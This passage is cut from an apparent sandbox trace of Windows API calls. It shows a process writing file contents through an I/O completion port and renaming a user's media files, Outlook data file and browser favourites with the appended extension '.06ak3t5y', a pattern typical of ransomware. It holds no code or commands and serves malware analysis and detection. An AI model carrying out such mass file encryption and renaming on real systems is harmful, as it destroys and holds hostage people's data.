lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.741] WriteFile (in: hFile=0x560, lpBuffer=0x5601538, nNumberOfBytesToWrite=0x1117b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56013e8 | out: lpBuffer=0x5601538, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56013e8) returned 0x0 [0113.741] RtlGetLastWin32Error () returned 0x3e5 [0113.741] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.742] WriteFile (in: hFile=0x564, lpBuffer=0x5612810, nNumberOfBytesToWrite=0x1b6d, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56126c0 | out: lpBuffer=0x5612810, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56126c0) returned 0x0 [0113.742] RtlGetLastWin32Error () returned 0x3e5 [0113.742] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.742] WriteFile (in: hFile=0x568, lpBuffer=0x56144d8, nNumberOfBytesToWrite=0x31f6, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5614388 | out: lpBuffer=0x56144d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5614388) returned 0x0 [0113.742] RtlGetLastWin32Error () returned 0x3e5 [0113.742] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.743] WriteFile (in: hFile=0x56c, lpBuffer=0x5617828, nNumberOfBytesToWrite=0x13ed0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56176d8 | out: lpBuffer=0x5617828, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56176d8) returned 0x0 [0113.743] RtlGetLastWin32Error () returned 0x3e5 [0113.743] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.743] WriteFile (in: hFile=0x570, lpBuffer=0x562b850, nNumberOfBytesToWrite=0xa453, lpNumberOfBytesWritten=0x0, lpOverlapped=0x562b700 | out: lpBuffer=0x562b850, lpNumberOfBytesWritten=0x0, lpOverlapped=0x562b700) returned 0x0 [0113.743] RtlGetLastWin32Error () returned 0x3e5 [0113.743] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.743] WriteFile (in: hFile=0x40c, lpBuffer=0x4796de8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796dc0 | out: lpBuffer=0x4796de8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796dc0) returned 0x0 [0113.744] RtlGetLastWin32Error () returned 0x3e5 [0113.744] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.744] CloseHandle (hObject=0x2e8) returned 1 [0113.746] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x110) returned 0x2086fa8 [0113.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\5PIGlZaCV4jqbsV7K0Fu.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\5piglzacv4jqbsv7k0fu.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\5PIGlZaCV4jqbsV7K0Fu.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\5piglzacv4jqbsv7k0fu.mp3.06ak3t5y")) returned 1 [0113.747] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.747] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207fac0) returned 1 [0113.747] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38f9a90) returned 1 [0113.750] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.750] CloseHandle (hObject=0x290) returned 1 [0113.752] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfc) returned 0x366cb60 [0113.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\divc1VvDFB.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\divc1vvdfb.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\divc1VvDFB.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\divc1vvdfb.mkv.06ak3t5y")) returned 1 [0113.753] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.753] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367aa40) returned 1 [0113.753] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x390f5d8) returned 1 [0113.753] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.753] CloseHandle (hObject=0x288) returned 1 [0113.754] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf8) returned 0x2099090 [0113.754] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\qWum TA_.mp4" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\qwum ta_.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\qWum TA_.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\qwum ta_.mp4.06ak3t5y")) returned 1 [0113.755] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.755] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367aac8) returned 1 [0113.755] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4741fa0) returned 1 [0113.756] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.756] CloseHandle (hObject=0x37c) returned 1 [0113.758] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf0) returned 0x207d648 [0113.758] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\x4 v.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\x4 v.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\x4 v.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\x4 v.gif.06ak3t5y")) returned 1 [0113.759] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.759] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0d00) returned 1 [0113.759] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x391e778) returned 1 [0113.759] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.759] CloseHandle (hObject=0x268) returned 1 [0113.761] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfc) returned 0x366cb60 [0113.761] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\ZAR5gyQrXI.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\zar5gyqrxi.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\ZAR5gyQrXI.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\zar5gyqrxi.gif.06ak3t5y")) returned 1 [0113.762] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.762] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367ab50) returned 1 [0113.762] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4744070) returned 1 [0113.762] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.763] WriteFile (in: hFile=0x410, lpBuffer=0x4796fc8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796fa0 | out: lpBuffer=0x4796fc8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796fa0) returned 0x0 [0113.763] RtlGetLastWin32Error () returned 0x3e5 [0113.763] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.763] WriteFile (in: hFile=0x414, lpBuffer=0x47971a8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797180 | out: lpBuffer=0x47971a8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797180) returned 0x0 [0113.763] RtlGetLastWin32Error () returned 0x3e5 [0113.763] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.763] CloseHandle (hObject=0x3f4) returned 1 [0113.765] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf8) returned 0x2099090 [0113.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\web slice gallery.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Links\\Web Slice Gallery.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\web slice gallery.url.06ak3t5y")) returned 1 [0113.766] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.766] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367abd8) returned 1 [0113.766] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0113.767] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.767] CloseHandle (hObject=0x3f0) returned 1 [0113.772] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x102) returned 0x2086fa8 [0113.772] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst.06ak3t5y")) returned 1 [0113.773] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.774] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9870) returned 1 [0113.774] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4754868) returned 1 [0113.777] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.777] CloseHandle (hObject=0x3f8) returned 1 [0113.779] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10c) returned 0x2086fa8 [0113.779] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE Add-on site.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie add-on site.url.06ak3t5y")) returned 1 [0113.780] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.780] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078200) returned 1 [0113.780] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x459f828) returned 1 [0113.781] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.781] CloseHandle (hObject=0x3fc) returned 1 [0113.783] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x120) returned 0x2086fa8 [0113.783] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie site on microsoft.com.url.06ak3t5y")) returned 1 [0113.784] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.784] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36787f8) returned 1 [0113.784] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x459fa08) returned 1 [0113.784] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.784] CloseHandle (hObject=0x404) returned 1 [0113.785] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x112) returned 0x2086fa8 [0113.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Home.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at home.url.06ak3t5y")) returned 1 [0113.786] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.786] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207fb60) returned 1 [0113.787] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x459fbe8) returned 1 [0113.787] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.787] CloseHandle (hObject=0x408) returned 1 [0113.788] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x112) returned 0x2086fa8 [0113.788] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Work.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at work.url.06ak3t5y")) returned 1 [0113.789] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.789] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207fc00) returned 1 [0113.789] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x459fdc8) returned 1 [0113.789] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.789] WriteFile (in: hFile=0x418, lpBuffer=0x4797388, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797360 | out: lpBuffer=0x4797388, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797360) returned 0x0 [0113.789] RtlGetLastWin32Error () returned 0x3e5 [0113.789] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.789] WriteFile (in: hFile=0x320, lpBuffer=0x397e7f8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0 | out: lpBuffer=0x397e7f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0) returned 0x0 [0113.789] RtlGetLastWin32Error () returned 0x3e5 [0113.789] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.789] WriteFile (in: hFile=0x338, lpBuffer=0x397e9d8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e9b0 | out: lpBuffer=0x397e9d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e9b0) returned 0x0 [0113.790] RtlGetLastWin32Error () returned 0x3e5 [0113.790] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.790] WriteFile (in: hFile=0x334, lpBuffer=0x397ebb8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397eb90 | out: lpBuffer=0x397ebb8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397eb90) returned 0x0 [0113.790] RtlGetLastWin32Error () returned 0x3e5 [0113.790] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.790] WriteFile (in: hFile=0x330, lpBuffer=0x397ed98, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ed70 | out: lpBuffer=0x397ed98, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ed70) returned 0x0 [0113.790] RtlGetLastWin32Error () returned 0x3e5 [0113.790] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.790] WriteFile (in: hFile=0x33c, lpBuffer=0x397ef78, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ef50 | out: lpBuffer=0x397ef78, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397ef50) returned 0x0 [0113.791] RtlGetLastWin32Error () returned 0x3e5 [0113.791] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.791] WriteFile (in: hFile=0x344, lpBuffer=0x397f158, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f130 | out: lpBuffer=0x397f158, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f130) returned 0x0 [0113.791] RtlGetLastWin32Error () returned 0x3e5 [0113.791] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.791] WriteFile (in: hFile=0x348, lpBuffer=0x397f338, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f310 | out: lpBuffer=0x397f338, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f310) returned 0x0 [0113.791] RtlGetLastWin32Error () returned 0x3e5 [0113.791] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.791] WriteFile (in: hFile=0x32c, lpBuffer=0x3925558, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3925530 | out: lpBuffer=0x3925558, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3925530) returned 0x0 [0113.792] RtlGetLastWin32Error () returned 0x3e5 [0113.792] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.792] WriteFile (in: hFile=0x328, lpBuffer=0x393e638, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x393e610 | out: lpBuffer=0x393e638, lpNumberOfBytesWritten=0x0, lpOverlapped=0x393e610) returned 0x0 [0113.792] RtlGetLastWin32Error () returned 0x3e5 [0113.792] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.792] WriteFile (in: hFile=0x318, lpBuffer=0x3950008, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x394ffe0 | out: lpBuffer=0x3950008, lpNumberOfBytesWritten=0x0, lpOverlapped=0x394ffe0) returned 0x0 [0113.793] RtlGetLastWin32Error () returned 0x3e5 [0113.793] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.793] WriteFile (in: hFile=0x314, lpBuffer=0x3964440, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3964418 | out: lpBuffer=0x3964440, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3964418) returned 0x0 [0113.793] RtlGetLastWin32Error () returned 0x3e5 [0113.793] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.793] WriteFile (in: hFile=0x310, lpBuffer=0x4797568, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797540 | out: lpBuffer=0x4797568, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4797540) returned 0x0 [0113.793] RtlGetLastWin32Error () returned 0x3e5 [0113.793] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.794] WriteFile (in: hFile=0x30c, lpBuffer=0x44a0070, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048 | out: lpBuffer=0x44a0070, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048) returned 0x0 [0113.795] RtlGetLastWin32Error () returned 0x3e5 [0113.795] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, 